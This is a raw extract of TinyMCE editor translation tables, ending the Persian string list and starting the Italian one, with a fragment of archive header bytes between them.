"Cell spacing": "\u0641\u0627\u0635\u0644\u0647 \u0645\u06cc\u0627\u0646 \u0633\u0644\u0648\u0644\u06cc",
"Cell padding": "\u062d\u0627\u0634\u06cc\u0647 \u062f\u0631\u0648\u0646 \u0633\u0644\u0648\u0644\u06cc",
"Show caption": "\u0646\u0645\u0627\u06cc\u0634 \u0639\u0646\u0648\u0627\u0646",
"Left": "\u0686\u067e",
"Center": "\u0645\u06cc\u0627\u0646\u0647",
"Right": "\u0631\u0627\u0633\u062a",
"Cell type": "\u0646\u0648\u0639 \u0633\u0644\u0648\u0644",
"Scope": "\u062d\u0648\u0632\u0647",
"Alignment": "\u0647\u0645 \u062a\u0631\u0627\u0632\u06cc",
"H Align": "\u062a\u0631\u0627\u0632 \u0627\u0641\u0642\u06cc",
"V Align": "\u062a\u0631\u0627\u0632 \u0639\u0645\u0648\u062f\u06cc",
"Top": "\u0628\u0627\u0644\u0627",
"Middle": "\u0645\u06cc\u0627\u0646\u0647",
"Bottom": "\u067e\u0627\u06cc\u06cc\u0646",
"Header cell": "\u0633\u0644\u0648\u0644 \u0633\u0631 \u0633\u062a\u0648\u0646",
"Row group": "\u06af\u0631\u0648\u0647 \u0633\u0637\u0631\u06cc",
"Column group": "\u06af\u0631\u0648\u0647 \u0633\u062a\u0648\u0646\u06cc",
"Row type": "\u0646\u0648\u0639 \u0633\u0637\u0631",
"Header": "\u0633\u0631 \u0622\u0645\u062f",
"Body": "\u0628\u062f\u0646\u0647",
"Footer": "\u067e\u0627 \u0646\u0648\u0634\u062a",
"Border color": "\u0631\u0646\u06af \u0644\u0628\u0647",
"Insert template...": "\u062f\u0631\u062c \u0627\u0644\u06af\u0648...",
"Templates": "\u0627\u0644\u06af\u0648\u0647\u0627",
"Template": "\u0627\u0644\u06af\u0648",
"Text color": "\u0631\u0646\u06af \u0645\u062a\u0646",
"Background color": "\u0631\u0646\u06af \u067e\u0633 \u0632\u0645\u06cc\u0646\u0647",
"Custom...": "\u062f\u0644\u062e\u0648\u0627\u0647...",
"Custom color": "\u0631\u0646\u06af \u062f\u0644\u062e\u0648\u0627\u0647",
"No color": "\u0628\u062f\u0648\u0646 \u0631\u0646\u06af",
"Remove color": "\u062d\u0630\u0641 \u0631\u0646\u06af",
"Table of Contents": "\u0641\u0647\u0631\u0633\u062a \u0639\u0646\u0627\u0648\u06cc\u0646",
"Show blocks": "\u0646\u0645\u0627\u06cc\u0634 \u0628\u0644\u0648\u06a9 \u0647\u0627",
"Show invisible characters": "\u0646\u0645\u0627\u06cc\u0634 \u0646\u0648\u06cc\u0633\u0647 \u0647\u0627\u06cc \u0646\u0627\u067e\u06cc\u062f\u0627",
"Word count": "\u062a\u0639\u062f\u0627\u062f \u0648\u0627\u0698\u0647\u200c\u0647\u0627",
"Count": "\u0634\u0645\u0627\u0631\u0634",
"Document": "\u0627\u0633\u0646\u0627\u062f",
"Selection": "\u0627\u0646\u062a\u062e\u0627\u0628",
"Words": "\u06a9\u0644\u0645\u0627\u062a",
"Words: {0}": "\u0648\u0627\u0698\u0647 \u0647\u0627: {0}",
"{0} words": "{0} \u0648\u0627\u0698\u0647",
"File": "\u067e\u0631\u0648\u0646\u062f\u0647",
"Edit": "\u0648\u06cc\u0631\u0627\u06cc\u0634",
"Insert": "\u062f\u0631\u062c",
"View": "\u0646\u0645\u0627\u06cc\u0634",
"Format": "\u0642\u0627\u0644\u0628",
"Table": "\u062c\u062f\u0648\u0644",
"Tools": "\u0627\u0628\u0632\u0627\u0631\u0647\u0627",
"Powered by {0}": "\u062a\u0648\u0627\u0646 \u06af\u0631\u0641\u062a\u0647 \u0627\u0632 {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "\u0646\u0627\u062d\u06cc\u0647 \u0645\u062a\u0646 \u063a\u0646\u06cc.\n\u062c\u0647\u062a \u0645\u0634\u0627\u0647\u062f\u0647 \u0645\u0646\u0648 \u0627\u0632 \u06a9\u0644\u06cc\u062f\u0647\u0627\u06cc \u062a\u0631\u06a9\u06cc\u0628\u06cc ALT + F9 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0646\u0645\u0627\u06cc\u06cc\u062f.\n\u062c\u0647\u062a \u0645\u0634\u0627\u0647\u062f\u0647 \u0646\u0648\u0627\u0631 \u0627\u0628\u0632\u0627\u0631 \u0627\u0632 \u06a9\u0644\u06cc\u062f\u0647\u0627\u06cc \u062a\u0631\u06a9\u06cc\u0628\u06cc ALT + F10 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0646\u0645\u0627\u06cc\u06cc\u062f.\n\u062c\u0647\u062a \u0645\u0634\u0627\u0647\u062f\u0647 \u0631\u0627\u0647\u0646\u0645\u0627 \u0627\u0632 \u06a9\u0644\u06cc\u062f\u0647\u0627\u06cc \u062a\u0631\u06a9\u06cc\u0628\u06cc ALT + 0 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0646\u0645\u0627\u06cc\u06cc\u062f.",
"Image title": "\u0639\u0646\u0648\u0627\u0646 \u062a\u0635\u0648\u06cc\u0631",
"Border width": "\u0639\u0631\u0636 \u062d\u0627\u0634\u06cc\u0647",
"Border style": "\u0633\u0628\u06a9 \u062d\u0627\u0634\u06cc\u0647",
"Error": "\u062e\u0637\u0627",
"Warn": "\u0647\u0634\u062f\u0627\u0631",
"Valid": "\u0645\u0639\u062a\u0628\u0631",
"To open the popup, press Shift+Enter": "\u062c\u0647\u062a \u0628\u0627\u0632 \u06a9\u0631\u062f\u0646 \u067e\u0646\u062c\u0631\u0647 \u0628\u0627\u0632\u0634\u0648\u060c \u06a9\u0644\u06cc\u062f\u0647\u0627\u06cc Shift + Enter \u0631\u0627 \u0641\u0634\u0627\u0631 \u062f\u0647\u06cc\u062f.",
"Rich Text Area. Press ALT-0 for help.": "\u0646\u0627\u062d\u06cc\u0647 \u0645\u062a\u0646 \u063a\u0646\u06cc. \u062c\u0647\u062a \u0645\u0634\u0627\u0647\u062f\u0647\u0654 \u0631\u0627\u0647\u0646\u0645\u0627 \u06a9\u0644\u06cc\u062f\u0647\u0627\u06cc ALT + 0 \u0631\u0627 \u0641\u0634\u0627\u0631 \u062f\u0647\u06cc\u062f.",
"System Font": "\u0641\u0648\u0646\u062a \u0633\u06cc\u0633\u062a\u0645\u06cc",
"Failed to upload image: {0}": "\u0639\u062f\u0645 \u0645\u0648\u0641\u0642\u06cc\u062a \u062f\u0631 \u0628\u0627\u0631\u06af\u0630\u0627\u0631\u06cc \u062a\u0635\u0648\u06cc\u0631: {0}",
"Failed to load plugin: {0} from url {1}": "\u0639\u062f\u0645 \u0645\u0648\u0641\u0642\u06cc\u062a \u062f\u0631 \u0628\u0627\u0631\u06af\u0630\u0627\u0631\u06cc \u0627\u0641\u0632\u0648\u0646\u0647: {0} \u0627\u0632 \u0646\u0634\u0627\u0646\u06cc \u0648\u0628 {1}",
"Failed to load plugin url: {0}": "\u0639\u062f\u0645 \u0645\u0648\u0641\u0642\u06cc\u062a \u062f\u0631 \u0628\u0627\u0631\u06af\u0630\u0627\u0631\u06cc \u0646\u0634\u0627\u0646\u06cc \u0648\u0628 \u0627\u0641\u0632\u0648\u0646\u0647: {0}",
"Failed to initialize plugin: {0}": "\u0639\u062f\u0645 \u0645\u0648\u0641\u0642\u06cc\u062a \u062f\u0631 \u0631\u0627\u0647\u200c\u0627\u0646\u062f\u0627\u0632\u06cc \u0627\u0641\u0632\u0648\u0646\u0647: {0}",
"example": "\u0645\u062b\u0627\u0644",
"Search": "\u062c\u0633\u062a\u062c\u0648",
"All": "\u0647\u0645\u0647",
"Currency": "\u0627\u0631\u0632",
"Text": "\u0645\u062a\u0646",
"Quotations": "\u0646\u0642\u0644\u200c\u0642\u0648\u0644\u200c\u0647\u0627",
"Mathematical": "\u0631\u06cc\u0627\u0636\u06cc",
"Extended Latin": "\u0644\u0627\u062a\u06cc\u0646 \u06af\u0633\u062a\u0631\u062f\u0647",
"Symbols": "\u0646\u0645\u0627\u062f\u0647\u0627",
"Arrows": "\u067e\u06cc\u06a9\u0627\u0646\u200c\u0647\u0627",
"User Defined": "\u0628\u0647 \u062e\u0648\u0627\u0633\u062a \u06a9\u0627\u0631\u0628\u0631",
"dollar sign": "\u0646\u0645\u0627\u062f \u062f\u0644\u0627\u0631",
"currency sign": "\u0646\u0645\u0627\u062f \u0627\u0631\u0632",
"euro-currency sign": "\u0646\u0645\u0627\u062f \u06cc\u0648\u0631\u0648",
"colon sign": "\u0646\u0645\u0627\u062f \u062f\u0648\u0646\u0642\u0637\u0647",
"cruzeiro sign": "\u0646\u0645\u0627\u062f \u06a9\u0631\u0648\u0632\u06cc\u0631\u0648",
"french franc sign": "\u0646\u0645\u0627\u062f \u0641\u0631\u0627\u0646\u06a9 \u0641\u0631\u0627\u0646\u0633\u0647",
"lira sign": "\u0646\u0645\u0627\u062f \u0644\u06cc\u0631\u0647",
"mill sign": "\u0646\u0645\u0627\u062f \u0645\u06cc\u0644",
"naira sign": "\u0646\u0645\u0627\u062f \u0646\u0627\u06cc\u0631\u0627",
"peseta sign": "\u0646\u0645\u0627\u062f \u067e\u0632\u062a\u0627",
"rupee sign": "\u0646\u0645\u0627\u062f \u0631\u0648\u067e\u06cc\u0647",
"won sign": "\u0646\u0645\u0627\u062f \u0648\u0648\u0646",
"new sheqel sign": "\u0646\u0645\u0627\u062f \u0634\u06a9\u0644 \u062c\u062f\u06cc\u062f",
"dong sign": "\u0646\u0645\u0627\u062f \u062f\u0627\u0646\u06af",
"kip sign": "\u0646\u0645\u0627\u062f \u06a9\u06cc\u067e",
"tugrik sign": "\u0646\u0645\u0627\u062f \u062a\u0648\u06af\u0631\u0648\u06af",
"drachma sign": "\u0646\u0645\u0627\u062f \u062f\u0631\u0627\u062e\u0645\u0627",
"german penny symbol": "\u0646\u0645\u0627\u062f \u067e\u0646\u06cc \u0622\u0644\u0645\u0627\u0646\u06cc",
"peso sign": "\u0646\u0645\u0627\u062f \u067e\u0632\u0648",
"guarani sign": "\u0646\u0645\u0627\u062f \u06af\u0648\u0627\u0631\u0627\u0646\u06cc",
"austral sign": "\u0646\u0645\u0627\u062f \u0622\u0633\u062a\u0631\u0627\u0644",
"hryvnia sign": "\u0646\u0645\u0627\u062f \u06af\u0631\u06cc\u0648\u0646\u0627",
"cedi sign": "\u0646\u0645\u0627\u062f \u0633\u062f\u06cc",
"livre tournois sign": "\u0646\u0645\u0627\u062f \u0644\u06cc\u0648\u0631\u0647 \u062a\u0648\u0631\u0646\u0648\u0627",
"spesmilo sign": "\u0646\u0645\u0627\u062f \u0627\u0633\u067e\u0633\u0645\u06cc\u0644\u0648",
"tenge sign": "\u0646\u0645\u0627\u062f \u062a\u0646\u06af\u0647",
"indian rupee sign": "\u0646\u0645\u0627\u062f \u0631\u0648\u067e\u06cc\u0647 \u0647\u0646\u062f\u06cc",
"turkish lira sign": "\u0646\u0645\u0627\u062f \u0644\u06cc\u0631\u0647 \u062a\u0631\u06a9\u06cc",
"nordic mark sign": "\u0646\u0645\u0627\u062f \u0645\u0627\u0631\u06a9 \u0646\u0631\u0648\u0698",
"manat sign": "\u0646\u0645\u0627\u062f \u0645\u0646\u0627\u062a",
"ruble sign": "\u0646\u0645\u0627\u062f \u0631\u0648\u0628\u0644",
"yen character": "\u0646\u0648\u06cc\u0633\u0647 \u06cc\u0646",
"yuan character": "\u0646\u0648\u06cc\u0633\u0647 \u06cc\u0648\u0627\u0646",
"yuan character, in hong kong and taiwan": "\u0646\u0648\u06cc\u0633\u0647 \u06cc\u0648\u0627\u0646\u060c \u062f\u0631 \u0647\u0646\u06af\u200c\u06a9\u0646\u06af \u0648 \u062a\u0627\u06cc\u0648\u0627\u0646",
"yen\/yuan character variant one": "\u0646\u0648\u06cc\u0633\u0647 \u062c\u0627\u06cc\u06af\u0632\u06cc\u0646 \u06cc\u0646\/\u06cc\u0648\u0627\u0646",
"Loading emoticons...": "\u062f\u0631 \u062d\u0627\u0644 \u0628\u0627\u0631\u06af\u0630\u0627\u0631\u06cc \u0634\u06a9\u0644\u06a9\u200c\u0647\u0627...",
"Could not load emoticons": "\u0634\u06a9\u0644\u06a9\u200c\u0647\u0627 \u0628\u0627\u0631\u06af\u0630\u0627\u0631\u06cc \u0646\u0634\u062f\u0646\u062f",
"People": "\u0627\u0641\u0631\u0627\u062f",
"Animals and Nature": "\u062d\u06cc\u0648\u0627\u0646\u0627\u062a \u0648 \u0637\u0628\u06cc\u0639\u062a",
"Food and Drink": "\u063a\u0630\u0627 \u0648 \u0646\u0648\u0634\u06cc\u062f\u0646\u06cc",
"Activity": "\u0641\u0639\u0627\u0644\u06cc\u062a",
"Travel and Places": "\u0633\u0641\u0631 \u0648 \u0627\u0645\u0627\u06a9\u0646",
"Objects": "\u0627\u0634\u06cc\u0627",
"Flags": "\u067e\u0631\u0686\u0645\u200c\u0647\u0627",
"Characters": "\u0646\u0648\u06cc\u0633\u0647\u200c\u0647\u0627",
"Characters (no spaces)": "\u0646\u0648\u06cc\u0633\u0647 \u0647\u0627 (\u0628\u062f\u0648\u0646 \u0641\u0627\u0635\u0644\u0647)",
"{0} characters": "{0} \u062d\u0631\u0641",
"Error: Form submit field collision.": "\u062e\u0637\u0627: \u062a\u062f\u0627\u062e\u0644 \u062f\u0631 \u062b\u0628\u062a \u0641\u0631\u0645.",
"Error: No form element found.": "\u062e\u0637\u0627: \u0647\u06cc\u0686 \u0627\u0644\u0645\u0627\u0646 \u0641\u0631\u0645\u06cc \u06cc\u0627\u0641\u062a \u0646\u0634\u062f.",
"Update": "\u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc",
"Color swatch": "\u0646\u0645\u0648\u0646\u0647 \u0631\u0646\u06af",
"Turquoise": "\u0641\u06cc\u0631\u0648\u0632\u0647\u200c\u0627\u06cc",
"Green": "\u0633\u0628\u0632",
"Blue": "\u0622\u0628\u06cc",
"Purple": "\u0628\u0646\u0641\u0634",
"Navy Blue": "\u0633\u0631\u0645\u0647\u200c\u0627\u06cc",
"Dark Turquoise": "\u0641\u06cc\u0631\u0648\u0632\u0647\u200c\u0627\u06cc \u062a\u06cc\u0631\u0647",
"Dark Green": "\u0633\u0628\u0632 \u062a\u06cc\u0631\u0647",
"Medium Blue": "\u0622\u0628\u06cc \u0633\u06cc\u0631",
"Medium Purple": "\u0622\u0628\u06cc \u0628\u0646\u0641\u0634",
"Midnight Blue": "\u0622\u0628\u06cc \u0646\u0641\u062a\u06cc",
"Yellow": "\u0632\u0631\u062f",
"Orange": "\u0646\u0627\u0631\u0646\u062c\u06cc",
"Red": "\u0642\u0631\u0645\u0632",
"Light Gray": "\u062e\u0627\u06a9\u0633\u062a\u0631\u06cc \u0631\u0648\u0634\u0646",
"Gray": "\u062e\u0627\u06a9\u0633\u062a\u0631\u06cc",
"Dark Yellow": "\u0632\u0631\u062f \u062a\u06cc\u0631\u0647",
"Dark Orange": "\u0646\u0627\u0631\u0646\u062c\u06cc \u062a\u06cc\u0631\u0647",
"Dark Red": "\u0642\u0631\u0645\u0632 \u062a\u06cc\u0631\u0647",
"Medium Gray": "\u062e\u0627\u06a9\u0633\u062a\u0631\u06cc \u0646\u06cc\u0645\u0647\u200c\u0631\u0648\u0634\u0646",
"Dark Gray": "\u062e\u0627\u06a9\u0633\u062a\u0631\u06cc \u062a\u06cc\u0631\u0647",
"Light Green": "\u0633\u0628\u0632 \u0631\u0648\u0634\u0646",
"Light Yellow": "\u0632\u0631\u062f \u0631\u0648\u0634\u0646",
"Light Red": "\u0642\u0631\u0645\u0632 \u0631\u0648\u0634\u0646",
"Light Purple": "\u0628\u0646\u0641\u0634 \u0631\u0648\u0634\u0646",
"Light Blue": "\u0622\u0628\u06cc \u0631\u0648\u0634\u0646",
"Dark Purple": "\u0628\u0646\u0641\u0634 \u062a\u06cc\u0631\u0647",
"Dark Blue": "\u0622\u0628\u06cc \u062a\u06cc\u0631\u0647",
"Black": "\u0633\u06cc\u0627\u0647",
"White": "\u0633\u0641\u06cc\u062f",
"Switch to or from fullscreen mode": "\u062a\u063a\u06cc\u06cc\u0631 \u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645\u200c\u0635\u0641\u062d\u0647 \u06cc\u0627 \u0628\u0647 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645\u200c\u0635\u0641\u062d\u0647",
"Open help dialog": "\u0628\u0627\u0632 \u06a9\u0631\u062f\u0646 \u06a9\u0627\u062f\u0631 \u0631\u0627\u0647\u0646\u0645\u0627",
"history": "\u062a\u0627\u0631\u06cc\u062e\u0686\u0647",
"styles": "\u0633\u0628\u06a9\u200c\u0647\u0627",
"formatting": "\u0642\u0627\u0644\u0628\u200c\u0628\u0646\u062f\u06cc",
"alignment": "\u062a\u0631\u0627\u0632\u0628\u0646\u062f\u06cc",
"indentation": "\u062a\u0648\u0631\u0641\u062a\u06af\u06cc",
"permanent pen": "\u0642\u0644\u0645 \u062f\u0627\u0626\u0645\u06cc",
"comments": "\u0646\u0638\u0631\u0627\u062a",
"Format Painter": "\u0642\u0627\u0644\u0628 \u0628\u0646\u062f\u06cc \u0646\u0642\u0627\u0634",
"Insert\/edit iframe": "\u062f\u0631\u062c\/\u0648\u06cc\u0631\u0627\u06cc\u0634 iframe",
"Capitalization": "\u062d\u0631\u0648\u0641 \u0628\u0632\u0631\u06af",
"lowercase": "\u062d\u0631\u0648\u0641 \u06a9\u0648\u0686\u06a9",
"UPPERCASE": "\u062d\u0631\u0648\u0641 \u0628\u0631\u062c\u0633\u062a\u0647",
"Title Case": "\u0639\u0646\u0648\u0627\u0646 \u0628\u0646\u062f\u06cc",
"Permanent Pen Properties": "\u0645\u0634\u062e\u0635\u0627\u062a \u067e\u0627\u06cc\u062f\u0627\u0631 \u0642\u0644\u0645",
"Permanent pen properties...": "\u0645\u0634\u062e\u0635\u0627\u062a \u067e\u0627\u06cc\u062f\u0627\u0631 \u0642\u0644\u0645...",
"Font": "\u0642\u0644\u0645",
"Size": "\u0627\u0646\u062f\u0627\u0632\u0647",
"More...": "\u0628\u06cc\u0634\u062a\u0631...",
"Spellcheck Language": "\u0632\u0628\u0627\u0646 \u0628\u0631\u0631\u0633\u06cc \u063a\u0644\u0637 \u0627\u0645\u0644\u0627\u06cc\u06cc",
"Select...": "\u0627\u0646\u062a\u062e\u0627\u0628...",
"Preferences": "\u062a\u0646\u0638\u06cc\u0645\u0627\u062a \u0628\u0631\u06af\u0632\u06cc\u062f\u0647",
"Yes": "\u0628\u0644\u0647",
"No": "\u062e\u06cc\u0631",
"Keyboard Navigation": "\u067e\u06cc\u0645\u0627\u06cc\u0634 \u0635\u0641\u062d\u0647 \u06a9\u0644\u06cc\u062f",
"Version": "\u0646\u0633\u062e\u0647",
"Anchor": "\u0642\u0644\u0627\u0628",
"Special character": "\u0646\u0648\u06cc\u0633\u0647 \u0647\u0627\u06cc \u062e\u0627\u0635",
"Code sample": "\u0646\u0645\u0648\u0646\u0647 \u06a9\u064f\u062f",
"Color": "\u0631\u0646\u06af",
"Emoticons": "\u0635\u0648\u0631\u062a\u06a9 \u0647\u0627",
"Document properties": "\u062a\u0646\u0638\u06cc\u0645\u0627\u062a \u0633\u0646\u062f",
"Image": "\u062a\u0635\u0648\u06cc\u0631",
"Insert link": "\u062f\u0631\u062c \u067e\u06cc\u0648\u0646\u062f",
"Target": "\u0645\u0642\u0635\u062f",
"Link": "\u067e\u06cc\u0648\u0646\u062f",
"Poster": "\u067e\u0648\u0633\u062a\u0631",
"Media": "\u0631\u0633\u0627\u0646\u0647",
"Print": "\u0686\u0627\u067e",
"Prev": "\u0642\u0628\u0644\u06cc",
"Find and replace": "\u062c\u0633\u062a\u062c\u0648 \u0648 \u062c\u0627\u06cc\u06af\u0632\u06cc\u0646\u06cc",
"Whole words": "\u062a\u0645\u0627\u0645 \u0648\u0627\u0698\u06af\u0627\u0646",
"Spellcheck": "\u0628\u0631\u0631\u0633\u06cc \u0627\u0645\u0644\u0627\u0621",
"Caption": "\u0639\u0646\u0648\u0627\u0646",
"Insert template": "\u062f\u0631\u062c \u0627\u0644\u06af\u0648",
"_dir": "rtl"
});PK
h�\.��R�6�6!program/js/tinymce/langs/it_IT.jsnu�[���tinymce.addI18n('it_IT',{
"Redo": "Ripristina",
"Undo": "Annulla",
"Cut": "Taglia",
"Copy": "Copia",
"Paste": "Incolla",
"Select all": "Seleziona tutto",
"New document": "Nuovo documento",
"Ok": "OK",
"Cancel": "Annulla",
"Visual aids": "Aiuti visivi",
"Bold": "Grassetto",
"Italic": "Corsivo",
"Underline": "Sottolineato",
"Strikethrough": "Barrato",
"Superscript": "Apice",
"Subscript": "Pedice",
"Clear formatting": "Cancella la formattazione",
"Align left": "Allinea a sinistra",
"Align center": "Allinea al centro",
"Align right": "Allinea a destra",
"Justify": "Giustifica",
"Bullet list": "Elenco puntato",
"Numbered list": "Elenco numerato",
"Decrease indent": "Riduci rientro",
"Increase indent": "Aumenta rientro",
"Close": "Chiudi",
"Formats": "Formati",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Il browser non supporta l'accesso diretto alla cartella degli appunti. Usare i tasti di scelta rapida Ctrl+X\/C\/V.",
"Headers": "Intestazioni",
"Header 1": "Intestazione 1",
"Header 2": "Intestazione 2",
"Header 3": "Intestazione 3",
"Header 4": "Intestazione 4",
"Header 5": "Intestazione 5",
"Header 6": "Intestazione 6",
"Headings": "Titoli",
"Heading 1": "Titolo 1",
"Heading 2": "Titolo 2",
"Heading 3": "Titolo 3",
"Heading 4": "Titolo 4",
"Heading 5": "Titolo 5",
"Heading 6": "Titolo 6",
"Preformatted": "Preformattato",
"Div": "Div",
"Pre": "Pre",
"Code": "Codice",
"Paragraph": "Paragrafo",
"Blockquote": "Blockquote",
"Inline": "In linea",
"Blocks": "Blocchi",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Incolla \u00e8 in modalit\u00e0 testo normale. I contenuti saranno incollati come testo normale se non viene disattivata questa opzione.",
"Fonts": "Caratteri",
"Font Sizes": "Dimensioni caratteri",
"Class": "Classe",
"Browse for an image": "Cerca un'immagine",
"OR": "OPPURE",
"Drop an image here": "Rilasciare un'immagine qui",
"Upload": "Carica",
"Block": "Blocco",
"Align": "Allinea",
"Default": "Predefinito",
"Circle": "Circolo",
"Disc": "Disco",
"Square": "Quadrato",
"Lower Alpha": "Alfabetico minuscolo",
"Lower Greek": "Greco minuscolo",
"Lower Roman": "Romano minuscolo",
"Upper Alpha": "Alfabetico maiuscolo",
"Upper Roman": "Romano maiuscolo",
"Anchor...": "Ancoraggio...",
"Name": "Nome",
"Id": "ID",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "L'ID dovrebbe cominciare con una lettera, seguita unicamente da lettere, numeri, linee, punti, due punti o caratteri di sottolineatura.",
"You have unsaved changes are you sure you want to navigate away?": "Ci sono modifiche non salvate, si \u00e8 sicuro di volere uscire?",
"Restore last draft": "Ripristina l'ultima bozza",
"Special characters...": "Caratteri speciali...",
"Source code": "Codice sorgente",
"Insert\/Edit code sample": "Inserisci\/modifica esempio di codice",
"Language": "Lingua",
"Code sample...": "Esempio di codice...",
"Color Picker": "Selezione colori",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "Da sinistra a destra",
"Right to left": "Da destra a sinistra",
"Emoticons...": "Emoticon...",
"Metadata and Document Properties": "Metadata e propriet\u00e0 del documento",
"Title": "Titolo",
"Keywords": "Parole chiave",
"Description": "Descrizione",
"Robots": "Robot",
"Author": "Autore",
"Encoding": "Codifica",
"Fullscreen": "A tutto schermo",
"Action": "Azione",
"Shortcut": "Collegamento",
"Help": "Guida",
"Address": "Indirizzo",
"Focus to menubar": "Imposta stato attivo per la barra dei menu",
"Focus to toolbar": "Imposta stato attivo per la barra degli strumenti",
"Focus to element path": "Imposta stato attivo per il percorso dell'elemento",
"Focus to contextual toolbar": "Imposta stato attivo per la barra degli strumenti contestuale",
"Insert link (if link plugin activated)": "Inserisci un collegamento (se \u00e8 attivato l'apposito plugin)",
"Save (if save plugin activated)": "Salva (se \u00e8 attivato l'apposito plugin)",
"Find (if searchreplace plugin activated)": "Trova (se \u00e8 attivato l'apposito plugin)",
"Plugins installed ({0}):": "Plugin installati ({0}):",
"Premium plugins:": "Plugin Premium:",
"Learn more...": "Maggiori informazioni...",
"You are using {0}": "Si sta utilizzando {0}",
"Plugins": "Plugin",
"Handy Shortcuts": "Scorciatoie utili",
"Horizontal line": "Linea orizzontale",
"Insert\/edit image": "Inserisci\/modifica immagine",
"Image description": "Descrizione immagine",
"Source": "Fonte",
"Dimensions": "Dimensioni",
"Constrain proportions": "Mantieni proporzioni",
"General": "Generali",
"Advanced": "Avanzate",
"Style": "Stile",
"Vertical space": "Spazio verticale",
"Horizontal space": "Spazio orizzontale",
"Border": "Bordo",
"Insert image": "Inserisci immagine",
"Image...": "Immagine...",
"Image list": "Elenco immagini",
"Rotate counterclockwise": "Ruota in senso antiorario",
"Rotate clockwise": "Ruota in senso orario",
"Flip vertically": "Rifletti verticalmente",
"Flip horizontally": "Rifletti orizzontalmente",
"Edit image": "Modifica immagine",
"Image options": "Opzioni immagine",
"Zoom in": "Ingrandisci",
"Zoom out": "Zoom indietro",
"Crop": "Ritaglia",
"Resize": "Ridimensiona",
"Orientation": "Orientamento",
"Brightness": "Luminosit\u00e0",
"Sharpen": "Nitidezza",
"Contrast": "Contrasto",
"Color levels": "Livelli di colore",
"Gamma": "Gamma",
"Invert": "Inverti",
"Apply": "Applica",
"Back": "Indietro",
"Insert date\/time": "Inserisci data\/ora",
"Date\/time": "Data\/ora",
"Insert\/Edit Link": "Inserisci\/modifica collegamento",
"Insert\/edit link": "Inserisci\/modifica collegamento",
"Text to display": "Testo da visualizzare",
"Url": "URL",
"Open link in...": "Apri collegamento in...",
"Current window": "Finestra corrente",
"None": "Nessuno",
"New window": "Nuova finestra",
"Remove link": "Rimuovi collegamento",
"Anchors": "Ancoraggi",
"Link...": "Collegamento...",
"Paste or type a link": "Incolla o digita un collegamento",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "L'URL inserito sembra essere un indirizzo email. Si vuole aggiungere il necessario prefisso mailto:?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "L'URL inserito sembra essere un collegamento esterno. Si vuole aggiungere il necessario prefisso http:\/\/?",
"Link list": "Elenco collegamenti",
"Insert video": "Inserisci video",
"Insert\/edit video": "Inserisci\/modifica video",
"Insert\/edit media": "Inserisci\/modifica oggetti multimediali",
"Alternative source": "Sorgente alternativa",
"Alternative source URL": "URL sorgente alternativa",
"Media poster (Image URL)": "Poster dell'oggetto multimediale (URL dell'immagine)",
"Paste your embed code below:": "Incolla il codice d'incorporamento di seguito:",
"Embed": "Incorpora",
"Media...": "Oggetto multimediale...",
"Nonbreaking space": "Spazio indivisibile",
"Page break": "Interruzione di pagina",
"Paste as text": "Incolla senza formattazioni",
"Preview": "Anteprima",
"Print...": "Stampa...",
"Save": "Salva",
"Find": "Trova",
"Replace with": "Sostituisci con",
"Replace": "Sostituisci",
"Replace all": "Sostituisci tutto",
"Previous": "Indietro",
"Next": "Avanti",
"Find and replace...": "Trova e sostituisci...",
"Could not find the specified string.": "Impossibile trovare la stringa specificata.",
"Match case": "Maiuscole\/minuscole",
"Find whole words only": "Trova solo parole intere",
"Spell check": "Controllo ortografia",
"Ignore": "Ignora",
"Ignore all": "Ignora tutto",
"Finish": "Fine",
"Add to Dictionary": "Aggiungi al dizionario",
"Insert table": "Inserisci tabella",
"Table properties": "Propriet\u00e0 della tabella",
"Delete table": "Elimina tabella",
"Cell": "Cella",
"Row": "Riga",
"Column": "Colonna",
"Cell properties": "Propriet\u00e0 cella",
"Merge cells": "Unisci le celle",
"Split cell": "Dividi la cella",
"Insert row before": "Inserisci riga prima",
"Insert row after": "Inserisci riga dopo",
"Delete row": "Elimina riga",
"Row properties": "Propriet\u00e0 della riga",
"Cut row": "Taglia riga",
"Copy row": "Copia riga",
"Paste row before": "Incolla riga prima",
"Paste row after": "Incolla riga dopo",
"Insert column before": "Inserisci colonna prima",
"Insert column after": "Inserisci colonna dopo",
"Delete column": "Elimina colonna",
"Cols": "Colonne",
"Rows": "Righe",
"Width": "Larghezza",
"Height": "Altezza",
"Cell spacing": "Spaziatura tra celle",
"Cell padding": "Spaziatura interna celle",
"Show caption": "Mostra didascalia",
"Left": "Sinistra",
"Center": "Centro",
"Right": "Destra",
"Cell type": "Tipo di cella",
"Scope": "Ambito",
"Alignment": "Allineamento",
"H Align": "Allineamento H",
"V Align": "Allineamento V",
"Top": "In alto",
"Middle": "Centrato",
"Bottom": "In basso",
"Header cell": "Cella d'intestazione",
"Row group": "Gruppo di righe",
"Column group": "Gruppo di colonne",
"Row type": "Tipo di riga",
"Header": "Intestazione",
"Body": "Corpo",
"Footer": "Pi\u00e8 di pagina",
"Border color": "Colore del bordo",
"Insert template...": "Inserisci modello...",
"Templates": "Modelli",
"Template": "Modello",
"Text color": "Colore testo",
"Background color": "Colore dello sfondo",
"Custom...": "Personalizzato...",
"Custom color": "Colore personalizzato",
"No color": "Nessun colore",
"Remove color": "Rimuovi colore",
"Table of Contents": "Sommario",
"Show blocks": "Mostra blocchi",
"Show invisible characters": "Mostra caratteri invisibili",
"Word count": "Conteggio parole",
"Words: {0}": "Parole: {0}",
"{0} words": "{0} parole",
"File": "File",
"Edit": "Modifica",
"Insert": "Inserisci",
"View": "Visualizza",
"Format": "Formato",
"Table": "Tabella",
"Tools": "Strumenti",
"Powered by {0}": "Con tecnologia {0}",
